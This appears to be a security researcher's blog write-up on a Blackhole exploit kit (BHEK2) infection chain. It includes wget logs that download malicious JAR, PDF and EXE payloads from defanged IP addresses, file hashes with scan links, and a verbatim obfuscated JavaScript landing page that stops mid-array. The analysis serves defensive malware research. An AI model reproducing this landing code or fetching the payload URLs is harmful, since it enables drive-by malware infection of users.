  Accept-Ranges: bytes
  Connection: close
Length: 22339 (22K) [application/java-archive]
Saving to: `j1_a.jar'

     0K .......... .......... .                               100% 33.3K=0.7s

2013-03-02 22:46:10 (33.3 KB/s) - `j1_a.jar' saved [22339/22339]

--2013-03-02 22:47:40--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?awzq=gtyfkz&rrgltzf=jwibjubx
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:35:00 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22404
  ETag: "29a92c3eedd77110bc1dc12948eb909c"
  Last-Modified: Sat, 02 Mar 2013 20:39:18 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 22404 (22K) [application/java-archive]
Saving to: `j2.jar'

     0K .......... .......... .                               100%  370K=0.06s

2013-03-02 22:47:41 (370 KB/s) - `j2.jar' saved [22404/22404]

--2013-03-02 22:48:40--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?awzq=gtyfkz&rrgltzf=jwibjubx
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:36:00 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22339
  ETag: "91414b8f2a3f971352b8432a856ddf70"
  Last-Modified: Sat, 02 Mar 2013 20:40:18 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 22339 (22K) [application/java-archive]
Saving to: `j2_a.jar'

     0K .......... .......... .                               100%  179K=0.1s

2013-03-02 22:48:41 (179 KB/s) - `j2_a.jar' saved [22339/22339]

Again Wepawet to the rescue giving us the final malware URL. No hard decoding work is needed so lets go and fetch the EXE:



--2013-03-02 23:09:26--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/231a51bb54657c855360782e728bbf6d/q.php?ngqxjn=32:1h:1l:1l:1j&qhx=1g:1n:32:33:1n:1n:1n:2v:31:1o&lcrni=1h&fmhyeulp=tqugjmzo&yqmlyi=gtqthzo
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:56:46 GMT
  Server: nginx/0.7.65
  Content-Type: application/x-msdownload
  X-Powered-By: PHP/5.3.2
  Pragma: public
  Expires: Sat, 02 Mar 2013 21:01:04 GMT
  Cache-Control: must-revalidate, post-check=0, pre-check=0
  Cache-Control: private
  Content-Disposition: attachment; filename="readme.exe"
  Content-Transfer-Encoding: binary
  Content-Length: 153960
  Connection: close
Length: 153960 (150K) [application/x-msdownload]
Saving to: `e1.exe'

     0K .......... .......... .......... .......... .......... 33%  416K 0s
    50K .......... .......... .......... .......... .......... 66%  835K 0s
   100K .......... .......... .......... .......... .......... 99% 1.41M 0s
   150K                                                       100%  671G=0.2s

2013-03-02 23:09:27 (700 KB/s) - `e1.exe' saved [153960/153960]
 

For reference here's the files fetched:

q2.php - landing page/plugin detect
MD5: 01b360a11a8b0a4841107ed0201af81f
Wepwwet: http://wepawet.iseclab.org/view.php?hash=01b360a11a8b0a4841107ed0201af81f&type=js

p1 - PDF 1
MD5: 31dc5225fc63f04e3b67562d671d8c31
Wepawet: malicious http://wepawet.iseclab.org/view.php?hash=31dc5225fc63f04e3b67562d671d8c31&type=js
CVE-2009-0927

p2 - PDF 2
MD5: da913464bea5e3d0f304a2d23a3a9b80
Wepawet: benign http://wepawet.iseclab.org/view.php?hash=da913464bea5e3d0f304a2d23a3a9b80&type=js
Virustotal: 11/46 https://www.virustotal.com/nb/file/6cc4abe4a72ed33fe06f4c10be569e552351b2bda18af23b98b4a9bd1b904e6a/analysis/1362266822/

p2_a - PDF 3
MD5: bf3064f9508913d59ab5f2a9c4612659
Wepawet: benign http://wepawet.iseclab.org/view.php?hash=bf3064f9508913d59ab5f2a9c4612659&type=js
Virustotal: 11/46 https://www.virustotal.com/nb/file/2f3efd4ac2e5cc1cdd3e179fb91d0838440040f12fc51147d05ac5f33df162d3/analysis/1362266844/

j1 - JAR 1
MD5: 29a92c3eedd77110bc1dc12948eb909c
Virustotal: 1/46 https://www.virustotal.com/nb/file/ba2fc06b38dbfb50b676d6eadeac0799deb50d4325dc0cfb1b4fd18906e6f95f/analysis/1362263272/

j1_a.jar - JAR 2
MD5: 91414b8f2a3f971352b8432a856ddf70
Virustotal 1/45 https://www.virustotal.com/nb/file/bd49d9a2f354c6197e3373b66099652e18bf06a65154eb26db659857579e57aa/analysis/1362263287/

1.swf - Flash 1
MD5: db2d3584fdbacdb7fd58fadc558144ae
Virustotal: 12/46 https://www.virustotal.com/nb/file/6d55150b066434d213074c200e2d1b8485cada62d1472e0013f10c7f136c58b7/analysis/1362269811/

1.exe - what they went through all the above trouble to give yo us...
MD5: 7cf4f07f1771ad4c7cf97923c9825c61
Virustotal: 5/46 https://www.virustotal.com/nb/file/054aa312d8c16268d3e59062562b8e9347eeddd8f20b842b16bfebcdedd0690e/analysis/1362266575/

Probably Zeus.

That went well :)


Thanks to @unixfreaxjp  for inspiration 

Analyzing BHEK2 made easy

- or I tried my best and it felt good to grab candy from these babies

I picked up this URL hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php and that looked to me to be a blackhole landing page.
Since I had the refering page aswell I went right to the task to look into it

1. Fetch the landing page

hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 11:24:50 GMT
  Server: nginx/0.7.65
  Content-Type: text/html
  X-Powered-By: PHP/5.3.2
  Connection: close
Length: unspecified [text/html]
Saving to: `q.php'

     0K .......... .......... .......... .......... .......... 52.0K
    50K .......... .......... .......... .......... .......... 31.8K
   100K .......... ...                                         43.2K=2.8s

(39.9 KB/s) - `q.php' saved [115757]

What did we get:

<head><title></title></head><body><object classid="clsid:8AD9C84O-O44E-11D1-B3E9-OO8O5F499D93" codebase="&#1O4;ttp://java.sun.com/update/1.6.O/jinstall-6u6O-windows-i586.cab&#35;Version=6,O,O,O" WIDTH="15O" HEIGHT="15O"><PARAM value="&#OO1O4;&#OO119;" name="code"><param name="type" value="application/x-java-applet"><param name="prime" value="w4LjhBVVhVhV%f4McB?rVch146cM?14cLfc%jhBVVhVhV%f4McB?rVch146cM?14cLfc%jFw3D3xC.b6DO6qO68O1fO6CRSeb6AO6oO1hO11O6oO6oO6oOhvO16O6tR%b6.RvKbkR?kbq" /><PARAM NAME="ARCHIVE" VALUE="/27aa2a2acO5d97b8a923519db3594O9c/q.php?vroam=wlxsvp&mycywu=jdgzkwrq"><param value="Dyy3Ojj6hcw6h6wP4" name="val"/></object><script>if(window.document){function c(){for(i=O,s="";i<a.length;i++){s+=String.fromCharCode(a[i]);}}if(window.document)csq=function(){z(s.concat(""));};try{document.body=~2}catch(q){xc=1;if(q)e=eval;rr="rep"+"la"+"ce";doc=document;}try{vasv()}catch(q){ff="e";}try{gewh=1;}catch(sav){xc=false;}vvz="\\"+"(";if(xc)rrr=new RegExp(vvz,"ig");}</script><script language="javascript">
</script><script language="javascript">
var a = [112,1OO,112,1OO,61,123,118,1O1,114,115,1O5,111,11O,58,34,48,46,55,46,57,34,44,11O,97,1O9,1O1,58,34,112,1OO,112,1OO,34,44,1O4,97,11O,1OO,1O8,1O1,114,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,44,98,44,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,99,4O,98,44,97,41,125,125,44,111,112,1O1,11O,84,97,1O3,58,34,6O,34,44,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,32,116,121,112,1O1,111,1O2,32,98,33,61,34,117,11O,1OO,1O1,1O2,1O5,11O,1O1,1OO,34,125,44,1O5,115,65,114,114,97,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,4O,47,97,114,114,97,121,47,1O5,41,46,116,1O1,115,116,4O,79,98,1O6,1O1,99,116,46,112,114,111,116,111,116,121,112,1O1,46,116,111,83,116,114,1O5,11O,1O3,46,99,97,1O8,1O8,4O,98,41,41,125,44,1O5,115,7O,117,11O,99,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,32,116,121,112,1O1,111,1O2,32,98,61,61,34,1O2,117,11O,99,116,1O5,111,11O,34,125,44,1O5,115,83,116,114,1O5,11O,1O3,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,32,116,121,112,1O1,111,1O2,32,98,61,61,34,115,116,114,1O5,11O,1O3,34,125,44,1O5,115,78,117,1O9,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,32,116,121,112,1O1,111,1O2,32,98,61,61,34,11O,117,1O9,98,1O1,114,34,125,44,1O5,115,83,116,114,78,117,1O9,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,4O,116,121,112,1O1,111,1O2,32,98,61,61,34,115,116,114,1O5,11O,1O3,34,38,38,4O,47,92,1OO,47,41,46,116,1O1,115,116,4O,98,41,41,125,44,1O3,1O1,116,78,117,1O9,82,1O1,1O3,12O,58,47,91,92,1OO,93,91,92,1OO,92,46,92,95,44,45,93,42,47,44,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,58,47,91,92,46,92,95,44,45,93,47,1O3,44,1O3,1O1,116,78,117,1O9,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,44,99,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,97,61,1OO,46,1O5,115,83,116,114,78,117,1O9,4O,98,41,63,4O,1OO,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,99,41,63,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,99,41,58,1OO,46,1O3,1O1,116,78,117,1O9,82,1O1,1O3,12O,41,46,1O1,12O,1O1,99,4O,98,41,58,11O,117,1O8,1O8,59,114,1O1,116,117,114,11O,32,97,63,97,91,48,93,58,11O,117,1O8,1O8,125,44,99,111,1O9,112,97,114,1O1,78,117,1O9,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O4,44,1O2,44,1OO,41,123,118,97,114,32,1O1,61,116,1O4,1O5,115,44,99,44,98,44,97,44,1O3,61,112,97,114,115,1O1,73,11O,116,59,1O5,1O2,4O,1O1,46,1O5,115,83,116,114,78,117,1O9,4O,1O4,41,38,38,1O1,46,1O5,115,83,116,114,78,117,1O9,4O,1O2,41,41,123,1O5,1O2,4O,1O1,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,1OO,41,38,38,1OO,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,41,123,114,1O1,116,117,114,11O,32,1OO,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O4,44,1O2,41,125,99,61,1O4,46,115,112,1O8,1O5,116,4O,1O1,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,41,59,98,61,1O2,46,115,112,1O8,1O5,116,4O,1O1,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,41,59,1O2,111,114,4O,97,61,48,59,97,6O,77,97,116,1O4,46,1O9,1O5,11O,4O,99,46,1O8,1O1,11O,1O3,116,1O4,44,98,46,1O8,1O1,11O,1O3,116,1O4,41,59,97,43,43,41,123,1O5,1O2,4O,1O3,4O,99,91,97,93,44,49,48,41,62,1O3,4O,98,91,97,93,44,49,48,41,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O3,4O,99,91,97,93,44,49,48,41,6O,1O3,4O,98,91,97,93,44,49,48,41,41,123,114,1O1,116,117,114,11O,32,45,49,125,125,125,114,1O1,116,117,114,11O,32,48,125,44,1O2,111,114,1O9,97,116,78,117,1O9,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,44,99,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,97,44,1O1,59,1O5,1O2,4O,33,1OO,46,1O5,115,83,116,114,78,117,1O9,4O,98,41,41,123,114,1O1,116,117,114,11O,32,11O,117,1O8,1O8,125,1O5,1O2,4O,33,1OO,46,1O5,115,78,117,1O9,4O,99,41,41,123,99,61,52,125,99,45,45,59,1O1,61,98,46,114,1O1,112,1O8,97,99,1O1,4O,47,92,115,47,1O3,44,34,34,41,46,115,112,1O8,1O5,116,4O,1OO,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,41,46,99,111,11O,99,97,116,4O,91,34,48,34,44,34,48,34,44,34,48,34,44,34,48,34,93,41,59,1O2,111,114,4O,97,61,48,59,97,6O,52,59,97,43,43,41,123,1O5,1O2,4O,47,94,4O,48,43,41,4O,46,43,41,36,47,46,116,1O1,115,116,4O,1O1,91,97,93,41,41,123,1O1,91,97,93,61,82,1O1,1O3,69,12O,112,46,36,5O,125,1O5,1O2,4O,97,62,99,124,124,33,4O,47,92,1OO,47,41,46,116,1O1,115,116,4O,1O1,91,97,93,41,41,123,1O1,91,97,93,61,34,48,34,125,125,114,1O1,116,117,114,11O,32,1O1,46,115,1O8,1O5,99,1O1,4O,48,44,52,41,46,1O6,111,1O5,11O,4O,34,44,34,41,125,44,36,36,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,99,41,123,1O5,1O2,4O,33,97,46,1O5,115,73,69,38,38,99,41,123,118,97,114,32,1O2,44,1O1,44,98,44,1OO,61,97,46,1O5,115,65,114,114,97,121,4O,99,41,63,99,58,4O,97,46,1O5,115,83,116,114,1O5,11O,1O3,4O,99,41,63,91,99,93,58,91,93,41,59,1O2,111,114,4O,98,61,48,59,98,6O,1OO,46,1O8,1O1,11O,1O3,116,1O4,59,98,43,43,41,123,1O5,1O2,4O,97,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1OO,91,98,93,41,38,38,47,91,94,92,115,93,47,46,116,1O1,115,116,4O,1OO,91,98,93,41,41,123,1O2,61,11O,97,118,1O5,1O3,97,116,111,114,46,1O9,1O5,1O9,1O1,84,121,112,1O1,115,91,1OO,91,98,93,93,59,1O1,61,1O2,63,1O2,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,58,48,59,1O5,1O2,4O,1O1,38,38,4O,1O1,46,11O,97,1O9,1O1,124,124,1O1,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,41,41,123,114,1O1,116,117,114,11O,32,1O2,125,125,125,125,114,1O1,116,117,114,11O,32,11O,117,1O8,1O8,125,125,44,1O2,1O5,11O,1OO,78,97,118,8O,1O8,117,1O3,1O5,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O8,44,1O1,44,99,41,123,118,97,114,32,1O6,61,116,1O4,1O5,115,44,1O4,61,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,1O8,44,34,1O5,34,41,44,1OO,61,4O,33,1O6,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,1O1,41,124,124,1O1,41,63,47,92,1OO,47,58,48,44,1O7,61,99,63,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,99,44,34,1O5,34,41,58,48,44,97,61,11O,97,118,1O5,1O3,97,116,111,114,46,112,1O8,117,1O3,1O5,11O,115,44,1O3,61,34,34,44,1O2,44,98,44,1O9,59,1O2,111,114,4O,1O2,61,48,59,1O2,6O,97,46,1O8,1O1,11O,1O3,116,1O4,59,1O2,43,43,41,123,1O9,61,97,91,1O2,93,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,124,124,1O3,59,98,61,97,91,1O2,93,46,11O,97,1O9,1O1,124,124,1O3,59,1O5,1O2,4O,4O,1O4,46,116,1O1,115,116,4O,1O9,41,38,38,4O,33,1OO,124,124,1OO,46,116,1O1,115,116,4O,82,1O1,1O3,69,12O,112,46,1O8,1O1,1O2,116,67,111,11O,116,1O1,12O,116,43,82,1O1,1O3,69,12O,112,46,114,1O5,1O3,1O4,116,67,111,11O,116,1O1,12O,116,41,41,41,124,124,4O,1O4,46,116,1O1,115,116,4O,98,41,38,38,4O,33,1OO,124,124,1OO,46,116,1O1,115,116,4O,82,1O1,1O3,69,12O,112,46,1O8,1O1,1O2,116,67,111,11O,116,1O1,12O,116,43,82,1O1,1O3,69,12O,112,46,114,1O5,1O3,1O4,116,67,111,11O,116,1O1,12O,116,41,41,41,41,123,1O5,1O2,4O,33,1O7,124,124,33,4O,1O7,46,116,1O1,115,116,4O,1O9,41,124,124,1O7,46,116,1O1,115,116,4O,98,41,41,41,123,114,1O1,116,117,114,11O,32,97,91,1O2,93,125,125,125,114,1O1,116,117,114,11O,32,11O,117,1O8,1O8,125,44,1O3,1O1,116,77,1O5,1O9,1O1,69,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O7,44,1O9,44,99,41,123,118,97,114,32,1O1,61,116,1O4,1O5,115,44,1O2,44,98,61,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,1O9,44,34,1O5,34,41,44,1O4,61,34,34,44,1O3,61,99,63,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,99,44,34,1O5,34,41,58,48,44,97,44,1O8,44,1OO,44,1O6,61,1O1,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1O7,41,63,91,1O7,93,58,1O7,59,1O2,111,114,4O,1OO,61,48,59,1OO,6O,1O6,46,1O8,1O1,11O,1O3,116,1O4,59,1OO,43,43,41,123,1O5,1O2,4O,4O,1O2,61,1O1,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,1O6,91,1OO,93,41,41,38,38,4O,1O2,61,1O2,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,41,41,123,1O8,61,1O2,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,124,124,1O4,59,97,61,1O2,46,11O,97,1O9,1O1,124,124,1O4,59,1O5,1O2,4O,98,46,116,1O1,115,116,4O,1O8,41,124,124,98,46,116,1O1,115,116,4O,97,41,41,123,1O5,1O2,4O,33,1O3,124,124,33,4O,1O3,46,116,1O1,115,116,4O,1O8,41,124,124,1O3,46,116,1O1,115,116,4O,97,41,41,41,123,114,1O1,116,117,114,11O,32,1O2,125,125,125,125,114,1O1,116,117,114,11O,32,48,125,44,1O3,1O1,116,8O,1O8,117,1O3,1O5,11O,7O,1O5,1O8,1O1,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O2,44,98,41,123,118,97,114,32,1O4,61,116,1O4,1O5,115,44,1O1,44,1OO,44,1O3,44,97,44,99,61,45,49,59,1O5,1O2,4O,1O4,46,79,83,62,5O,124,124,33,1O2,124,124,33,1O2,46,118,1O1,114,115,1O5,111,11O,124,124,33,4O,1O1,61,1O4,46,1O3,1O1,116,78,117,1O9,4O,1O2,46,118,1O1,114,115,1O5,111,11O,41,41,41,123,114,1O1,116,117,114,11O,32,98,125,1O5,1O2,4O,33,98,41,123,114,1O1,116,117,114,11O,32,1O1,125,1O1,61,1O4,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O1,41,59,98,61,1O4,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,98,41,59,1OO,61,98,46,115,112,1O8,1O5,116,4O,1O4,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,41,59,1O3,61,1O1,46,115,112,1O8,1O5,116,4O,1O4,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,41,59,1O2,111,114,4O,97,61,48,59,97,6O,1OO,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,45,49,6O,99,38,38,99,6O,97,38,38,33,4O,1OO,91,97,93,61,61,34,48,34,41,41,123,114,1O1,116,117,114,11O,32,98,125,1O5,1O2,4O,1O3,91,97,93,33,61,1OO,91,97,93,41,123,1O5,1O2,4O,99,61,61,45,49,41,123,99,61,97,125,1O5,1O2,4O,1OO,91,97,93,33,61,34,48,34,41,123,114,1O1,116,117,114,11O,32,98,125,125,125,114,1O1,116,117,114,11O,32,1O1,125,44,65,88,79,58,119,1O5,11O,1OO,111,119,46,65,99,116,1O5,118,1O1,88,79,98,1O6,1O1,99,116,44,1O3,1O1,116,65,88,79,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,118,97,114,32,1O2,61,11O,117,1O8,1O8,44,1OO,44,98,61,116,1O4,1O5,115,44,99,61,123,125,59,116,114,121,123,1O2,61,11O,1O1,119,32,98,46,65,88,79,4O,97,41,125,99,97,116,99,1O4,4O,1OO,41,123,125,114,1O1,116,117,114,11O,32,1O2,125,44,99,111,11O,118,1O1,114,116,7O,117,11O,99,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O2,41,123,118,97,114,32,97,44,1O3,44,1OO,44,98,61,47,94,91,92,36,93,91,92,36,93,47,44,99,61,116,1O4,1O5,115,59,1O2,111,114,4O,97,32,1O5,11O,32,1O2,41,123,1O5,1O2,4O,98,46,116,1O1,115,116,4O,97,41,41,123,116,114,121,123,1O3,61,97,46,115,1O8,1O5,99,1O1,4O,5O,41,59,1O5,1O2,4O,1O3,46,1O8,1O1,11O,1O3,116,1O4,62,48,38,38,33,1O2,91,1O3,93,41,123,1O2,91,1O3,93,61,1O2,91,97,93,4O,1O2,41,59,1OO,1O1,1O8,1O1,116,1O1,32,1O2,91,97,93,125,125,99,97,116,99,1O4,4O,1OO,41,123,125,125,125,125,44,1O5,11O,1O5,116,79,98,1O6,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O1,44,98,44,1OO,41,123,118,97,114,32,97,44,99,59,1O5,1O2,4O,1O1,41,123,1O5,1O2,4O,1O1,91,98,91,48,93,93,61,61,49,124,124,1OO,41,123,1O2,111,114,4O,97,61,48,59,97,6O,98,46,1O8,1O1,11O,1O3,116,1O4,59,97,61,97,43,5O,41,123,1O1,91,98,91,97,93,93,61,98,91,97,43,49,93,125,125,1O2,111,114,4O,97,32,1O5,11O,32,1O1,41,123,99,61,1O1,91,97,93,59,1O5,1O2,4O,99,38,38,99,91,98,91,48,93,93,61,61,49,41,123,116,1O4,1O5,115,46,1O5,11O,1O5,116,79,98,1O6,4O,99,44,98,41,125,125,125,125,44,1O5,11O,1O5,116,83,99,114,1O5,112,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,97,61,11O,97,118,1O5,1O3,97,116,111,114,44,1O4,44,1O5,61,1OO,111,99,117,1O9,1O1,11O,116,44,1O8,61,97,46,117,115,1O1,114,65,1O3,1O1,11O,116,124,124,34,34,44,1O6,61,97,46,118,1O1,11O,1OO,111,114,124,124,34,34,44,98,61,97,46,112,1O8,97,116,1O2,111,114,1O9,124,124,34,34,44,1O7,61,97,46,112,114,111,1OO,117,99,116,124,124,34,34,59,1OO,46,1O5,11O,1O5,116,79,98,1O6,4O,1OO,44,91,34,36,34,44,1OO,93,41,59,1O2,111,114,4O,1O4,32,1O5,11O,32,1OO,46,8O,1O8,117,1O3,1O5,11O,115,41,123,1O5,1O2,4O,1OO,46,8O,1O8,117,1O3,1O5,11O,115,91,1O4,93,41,123,1OO,46,1O5,11O,1O5,116,79,98,1O6,4O,1OO,46,8O,1O8,117,1O3,1O5,11O,115,91,1O4,93,44,91,34,36,34,44,1OO,44,34,36,36,34,44,1OO,46,8O,1O8,117,1O3,1O5,11O,115,91,1O4,93,93,44,49,41,125,125,1OO,46,99,111,11O,118,1O1,114,116,7O,117,11O,99,115,4O,1OO,41,59,1OO,46,79,83,61,49,48,48,59,1O5,1O2,4O,98,41,123,118,97,114,32,1O3,61,91,34,87,1O5,11O,34,44,49,44,34,77,97,99,34,44,5O,44,34,76,1O5,11O,117,12O,34,44,51,44,34,7O,114,1O1,1O1,66,83,68,34,44,52,44,34,1O5,8O,1O4,111,11O,1O1,34,44,5O,49,46,49,44,34,1O5,8O,111,1OO,34,44,5O,49,46,5O,44,34,1O5,8O,97,1OO,34,44,5O,49,46,51,44,34,87,1O5,11O,46,34,43,34,42,67,69,34,44,5O,5O,46,49,44,34,87,1O5,11O,46,42,77,111,98,1O5,1O8,1O1,34,44,5O,5O,46,5O,44,34,8O,111,99,1O7,1O1,116,92,115,42,8O,67,34,44,5O,5O,46,51,44,34,34,44,49,48,48,93,59,1O2,111,114,4O,1O4,61,1O3,46,1O8,1O1,11O,1O3,116,1O4,45,5O,59,1O4,62,61,48,59,1O4,61,1O4,45,5O,41,123,1O5,1O2,4O,1O3,91,1O4,93,38,38,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,1O3,91,1O4,93,44,34,1O5,34,41,46,116,1O1,115,116,4O,98,41,41,123,1OO,46,79,83,61,1O3,91,1O4,43,49,93,59,98,114,1O1,97,1O7,125,125,125,59,1OO,46,1O4,1O1,97,1OO,61,1O5,46,1O3,1O1,116,69,1O8,1O1,1O9,1O1,11O,116,115,66,121,84,97,1O3,78,97,1O9,1O1,4O,34,1O4,1O1,97,1OO,34,41,91,48,93,124,124,1O5,46,1O3,1O1,116,69,1O8,1O1,1O9,1O1,11O,116,115,66,121,84,97,1O3,78,97,1O9,1O1,4O,34,98,111,1OO,121,34,41,91,48,93,124,124,1O5,46,98,111,1OO,121,124,124,11O,117,1O8,1O8,59,1OO,46,1O5,115,73,69,61,11O,1O1,119,32,7O,117,11O,99,116,1O5,111,11O,4O,34,114,1O1,116,117,114,11O,47,42,64,99,99,95,111,11O,33,64,42,47,33,49,34,41,4O,41,59,1OO,46,118,1O1,114,73,69,61,1OO,46,1O5,115,73,69,38,38,4O,47,77,83,73,69,92,115,42,4O,92,1OO,43,92,46,63,92,1OO,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,63,112,97,114,115,1O1,7O,1O8,111,97,116,4O,82,1O1,1O3,69,12O,112,46,36,49,44,49,48,41,58,11O,117,1O8,1O8,59,1OO,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,61,1O2,97,1O8,115,1O1,59,1O5,1O2,4O,1OO,46,1O5,115,73,69,41,123,118,97,114,32,1O4,44,1O9,61,91,34,77,115,12O,1O9,1O8,5O,46,88,77,76,72,84,84,8O,34,44,34,77,115,12O,1O9,1O8,5O,46,68,79,77,68,111,99,117,1O9,1O1,11O,116,34,44,34,77,1O5,99,114,111,115,111,1O2,116,46,88,77,76,68,79,77,34,44,34,83,1O4,111,99,1O7,119,97,118,1O1,7O,1O8,97,115,1O4,46,83,1O4,111,99,1O7,119,97,118,1O1,7O,1O8,97,115,1O4,34,44,34,84,68,67,67,116,1O8,46,84,68,67,67,116,1O8,34,44,34,83,1O4,1O1,1O8,1O8,46,85,73,72,1O1,1O8,112,1O1,114,34,44,34,83,99,114,1O5,112,116,1O5,11O,1O3,46,68,1O5,99,116,1O5,111,11O,97,114,121,34,44,34,119,1O9,112,1O8,97,121,1O1,114,46,111,99,12O,34,93,59,1O2,111,114,4O,1O4,61,48,59,1O4,6O,1O9,46,1O8,1O1,11O,1O3,116,1O4,59,1O4,43,43,41,123,1O5,1O2,4O,1OO,46,1O3,1O1,116,65,88,79,4O,1O9,91,1O4,93,41,41,123,1OO,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,61,116,114,117,1O1,59,98,114,1O1,97,1O7,125,125,125,59,1OO,46,1O5,115,71,1O1,99,1O7,111,61,4O,47,71,1O1,99,1O7,111,92,115,42,92,47,92,115,42,92,1OO,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,38,38,4O,47,71,1O1,99,1O7,111,47,1O5,41,46,116,1O1,115,116,4O,1O7,41,59,1OO,46,118,1O1,114,71,1O1,99,1O7,111,61,1OO,46,1O5,115,71,1O1,99,1O7,111,63,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,4O,47,114,118,92,115,42,92,58,92,115,42,4O,91,92,46,92,44,92,1OO,93,43,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,63,82,1O1,1O3,69,12O,112,46,36,49,58,34,48,46,57,34,41,58,11O,117,1O8,1O8,59,1OO,46,1O5,115,67,1O4,114,111,1O9,1O1,61,4O,47,67,1O4,114,111,1O9,1O1,92,115,42,92,47,92,115,42,4O,92,1OO,91,92,1OO,92,46,93,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,59,1OO,46,118,1O1,114,67,1O4,114,111,1O9,1O1,61,1OO,46,1O5,115,67,1O4,114,111,1O9,1O1,63,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,82,1O1,1O3,69,12O,112,46,36,49,41,58,11O,117,1O8,1O8,59,1OO,46,1O5,115,83,97,1O2,97,114,1O5,61,4O,4O,47,65,112,112,1O8,1O1,47,1O5,41,46,116,1O1,115,116,4O,1O6,41,124,124,4O,33,1O6,38,38,33,1OO,46,1O5,115,67,1O4,114,111,1O9,1O1,41,41,38,38,4O,47,83,97,1O2,97,114,1O5,92,115,42,92,47,92,115,42,4O,92,1OO,91,92,1OO,92,46,93,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,59,1OO,46,118,1O1,114,83,97,1O2,97,114,1O5,61,1OO,46,1O5,115,83,97,1O2,97,114,1O5